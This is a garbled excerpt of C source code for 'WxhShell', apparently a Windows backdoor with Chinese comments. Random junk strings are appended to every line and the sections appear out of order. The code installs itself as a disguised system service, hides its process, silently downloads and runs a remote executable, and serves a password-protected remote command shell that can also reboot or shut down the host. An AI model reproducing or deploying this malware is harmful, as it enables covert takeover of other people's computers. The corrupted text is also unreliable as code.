ULONG UniqueProcessId; *+qXXCA
ULONG InheritedFromUniqueProcessId; G*wn[o(^j
} PROCESS_BASIC_INFORMATION; kG,6;aVZ8
u 8N+ht@
PROCNTQSIP NtQueryInformationProcess; fX} dh9
]b<k%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7,jh44(\=
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UmQ 9_H 7
KY"W{D9ib
HANDLE hProcess; I%*o7"
PROCESS_BASIC_INFORMATION pbi; +5);"71
;Cyt2]F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &g@?{5FP
if(NULL == hInst ) return 0; UwdcU^xt9
D[]vJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oOe5IczS(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {My/+{eS!?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r"U$udwjg
|$9k
z31
if (!NtQueryInformationProcess) return 0; &&(sZGw
Ty#L%k}-t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g4j?E{M?
if(!hProcess) return 0; -@L*i|A
d:=5y)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i)8,u
O-bC+vB]M
CloseHandle(hProcess); UTmX"Li
7=mU["raz`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]eP&r?B
if(hProcess==NULL) return 0; MF]s(7U4`
> -Jd@7-
HMODULE hMod; tX Z5oG7
char procName[255]; $N5}N\C:a
unsigned long cbNeeded; V!3O
1
/o![%&-l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 81H04L9K 7
1c+[S]7rY
CloseHandle(hProcess); -Vt*(L
eSywWSdf0
if(strstr(procName,"services")) return 1; // 以服务启动 =1yU&
PJ
J0lTp /
return 0; // 注册表启动 H`aqpa"C
} @y)-!MHN(8
E@P8-x'i
// 主模块 "i4@'`r
int StartWxhshell(LPSTR lpCmdLine) ;l5F
il,3
{ F
~
/{1Q*
SOCKET wsl; e [3sWv
BOOL val=TRUE; x@Z?DS$)
int port=0; =f{V<i~q
struct sockaddr_in door; f(7/
!}Cd_tj6
if(wscfg.ws_autoins) Install(); oC.:mI
&d 9tR\}
port=atoi(lpCmdLine); p^7ZFUP
GZ
UDI#
if(port<=0) port=wscfg.ws_port; ,S}[48$
x(5>f9b b
WSADATA data; do7 [Nj
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &D>e>]E|P
[L]
ca*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qnv9?Xh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yep(,J~'
door.sin_family = AF_INET; lySeq^y?Q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); b 9F=}.4
door.sin_port = htons(port); .z7F58
>j_,3{eJ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TR5"K{WDx
closesocket(wsl); :_i1)4[!
return 1; j!qO[CJJ
} ^'*9,.ltd
70mQ{YNN
if(listen(wsl,2) == INVALID_SOCKET) { B@=+Fg DD
closesocket(wsl); VLA9&.*@
return 1; * pyi;
} g
O,X
Wxhshell(wsl); DU4NPys]y
WSACleanup(); ,57g_z]V
D#1'#di*t
return 0; <<@$0RW
8@|+-)t
} [&j!g
j#9p0[
// 以NT服务方式启动 ShxB!/s
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t+W+f
{ &M*&oi (
DWORD status = 0; `<8~tS/. w
DWORD specificError = 0xfffffff; 7y&Fb
|\*7J!Liv
serviceStatus.dwServiceType = SERVICE_WIN32; RN]4 Is:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; tb/bEy^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8AOJ'~$
serviceStatus.dwWin32ExitCode = 0; 8sx\b
serviceStatus.dwServiceSpecificExitCode = 0; P'KaW u9z
serviceStatus.dwCheckPoint = 0; KaZ*HPe(
serviceStatus.dwWaitHint = 0; O+@"l$;N
{Fta4D_1N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d/+sR@\
if (hServiceStatusHandle==0) return; T""X~+{Z@
5 b( [1*
status = GetLastError(); \vs,$h
if (status!=NO_ERROR) L8Z[Ly+_
{ 8tK 8|t5+
serviceStatus.dwCurrentState = SERVICE_STOPPED; L/1?PM
serviceStatus.dwCheckPoint = 0; 89Svx5S
serviceStatus.dwWaitHint = 0; k
9R_27F
serviceStatus.dwWin32ExitCode = status; S92'\2
serviceStatus.dwServiceSpecificExitCode = specificError; Bi]`e_(}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;l[/<J
return; K@Twiw~rB
} `f}}z5
cH.T6u_%
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]m{;yOQdsC
serviceStatus.dwCheckPoint = 0; r3mB"("Z'
serviceStatus.dwWaitHint = 0; .1XZ9M
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hz`rw\\Xq
} B)Hs>Mh|W
! %S9H2Lv
// 处理NT服务事件,比如:启动、停止 E%:!* 9
VOID WINAPI NTServiceHandler(DWORD fdwControl) o 4L9Xb7=G
{ \( LKLlam
switch(fdwControl) \_#0Z+pX
{ WOZf4X`[
case SERVICE_CONTROL_STOP: n6ETWjP
serviceStatus.dwWin32ExitCode = 0; ^VR1whCrx
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8 *;G\$+
serviceStatus.dwCheckPoint = 0; Z=_p
serviceStatus.dwWaitHint = 0; 3/H^YM
@
{ 57'=Qz52
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R0(Nw7!d/[
} #r `hK)
return; /XjIm4EN
case SERVICE_CONTROL_PAUSE: Wct
+T,8
serviceStatus.dwCurrentState = SERVICE_PAUSED; L"rLalUw
break; 3Wrl_V
case SERVICE_CONTROL_CONTINUE: \7nlwFAO
serviceStatus.dwCurrentState = SERVICE_RUNNING; xAMj 16ZF
break; JUok@6
case SERVICE_CONTROL_INTERROGATE: ^)m]j`}IGb
break; @#c(4}^ <w
}; f#pT6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w;vp X>
} =iC5um:
[R)?93
// 标准应用程序主函数 z%Ywjfn'
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pv+FPB
{ J*F-tRuEw
S
U~vS
// 获取操作系统版本 c|x:]W'ij
OsIsNt=GetOsVer(); _-H uO/
GetModuleFileName(NULL,ExeFile,MAX_PATH); BA' ($D>
,-ZAI b*
// 从命令行安装 Xw!eB?A
if(strpbrk(lpCmdLine,"iI")) Install(); 8RbtI4
g><u(3
// 下载执行文件 !!E_WDZ#9
if(wscfg.ws_downexe) { [-bL>8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W1$B6+}Z0V
WinExec(wscfg.ws_filenam,SW_HIDE); j_-$xz5-
} - o$S=
(k"|k
if(!OsIsNt) { vQ^a7
// 如果时win9x,隐藏进程并且设置为注册表启动 PorBB7iL
HideProc(); &STgj|t_
StartWxhshell(lpCmdLine); .Ej `!
} <~!7? ak
else cpz}!D
if(StartFromService()) i)Vqvb0Q
// 以服务方式启动 }UMg ph:2:
StartServiceCtrlDispatcher(DispatchTable); D "j
=|4S#
else 9-eYCg7C|
// 普通方式启动 8K*X]Z h
StartWxhshell(lpCmdLine); 3Zs|arde2
Na=9ju
return 0; wxB?}
} s<5q%5ix3
;Jr6
d{0b*l%
Za}*6N=?*
=========================================== J4 .C"v0a
LTG#nM0
@4^5C-
9~I\WjB
"
N{46DS
90|p]I%
" nS"K
dPM
g2L
#include <stdio.h> :k6|-A2
#include <string.h> [@U8&W
#include <windows.h> $"0t 1
#include <winsock2.h> 8 Mp2MZ*p
#include <winsvc.h> )|@b
GEk
#include <urlmon.h> 9"52b9U
bITOA
#pragma comment (lib, "Ws2_32.lib") I.r&;
#pragma comment (lib, "urlmon.lib") QG?7L_I
O*d&H;;
#define MAX_USER 100 // 最大客户端连接数 fO[X<|9
#define BUF_SOCK 200 // sock buffer [&|Le;h
#define KEY_BUFF 255 // 输入 buffer OOQfa#~k
~"\sL;B
#define REBOOT 0 // 重启 0aQtJ0e16
#define SHUTDOWN 1 // 关机 nL5Gr:SLo
sSd
#define DEF_PORT 5000 // 监听端口 $_k'!/5
fKOm\R47
#define REG_LEN 16 // 注册表键长度 V]L$`7G
#define SVC_LEN 80 // NT服务名长度 )&1yt4
x6%
jV\M`=4IC
// 从dll定义API kQC>8"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FH)bE#4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LTp5T|O
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WGN[`D"
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =x>z|1
GsqR8n=
// wxhshell配置信息 |2CW!is
struct WSCFG { <Xm5re.
int ws_port; // 监听端口 ]/p0j$Tq$
char ws_passstr[REG_LEN]; // 口令 ,
M /-lW
int ws_autoins; // 安装标记, 1=yes 0=no B
h@R9O<
char ws_regname[REG_LEN]; // 注册表键名 1@yXVD/
char ws_svcname[REG_LEN]; // 服务名 8V_
]}W
char ws_svcdisp[SVC_LEN]; // 服务显示名 TSdjX]Kf
char ws_svcdesc[SVC_LEN]; // 服务描述信息 jPPaL]
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 75K~ebRr
int ws_downexe; // 下载执行标记, 1=yes 0=no Bh:AY@k
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KD$ P\(5#
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vxUJ4|Qz
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}; 6NbIT[LvT
+6*oO|
// default Wxhshell configuration {5.,gb @6
struct WSCFG wscfg={DEF_PORT, _8\Uukm
"xuhuanlingzhe", 1KruGq~
1, m{mK;D
"Wxhshell", \>cZ=
"Wxhshell", 4I"QT(;
"WxhShell Service", cy)L%`(7
"Wrsky Windows CmdShell Service", sa#=#0yg
"Please Input Your Password: ", $MKx\qx}
1, 1(w0*`
"http://www.wrsky.com/wxhshell.exe", ]WN{8
"Wxhshell.exe" (loUO;S=
}; fL83:<RK
6]T02;b>/,
// 消息定义模块 rNU,(htS
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 20^F -,z
char *msg_ws_prompt="\n\r? for help\n\r#>"; -ud~'<k
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <^R\N#
char *msg_ws_ext="\n\rExit."; ;Bcf~[ErM
char *msg_ws_end="\n\rQuit."; (z2)<_bXJ
char *msg_ws_boot="\n\rReboot..."; rMe`HM@
char *msg_ws_poff="\n\rShutdown..."; (S5'iksx
char *msg_ws_down="\n\rSave to "; }w8h^(+B
}O2hhh_
char *msg_ws_err="\n\rErr!"; O~{Zs\u9
char *msg_ws_ok="\n\rOK!"; 4E4o=Z|K
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char ExeFile[MAX_PATH]; &lBfW$PZjk
int nUser = 0; m f4@g05
HANDLE handles[MAX_USER]; @)<uQ S
int OsIsNt; %E1~I\n:F
?j8CkqX!
SERVICE_STATUS serviceStatus; 1Na CGD"
SERVICE_STATUS_HANDLE hServiceStatusHandle; '9auQ(2
t@}<&{zk
// 函数声明 ~rpYZLH/:0
int Install(void); XZd !c Ff
int Uninstall(void); F!pUfF,&
int DownloadFile(char *sURL, SOCKET wsh); <FS/'[P
int Boot(int flag); l:+tl/
void HideProc(void); .
Nog.
int GetOsVer(void); 4I:Jb;k>
int Wxhshell(SOCKET wsl); (`3Bi]7
void TalkWithClient(void *cs); @=Ly#HuUM
int CmdShell(SOCKET sock); umrRlF4M;
int StartFromService(void); <6dD{{J]>p
int StartWxhshell(LPSTR lpCmdLine); jJ55Az?t:
rRT9)wDa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b\=0[kBQw
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;a{ Dr
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// 数据结构和表定义 deHBY4@
SERVICE_TABLE_ENTRY DispatchTable[] = ywq{9)vq
{ Esw&ScBOP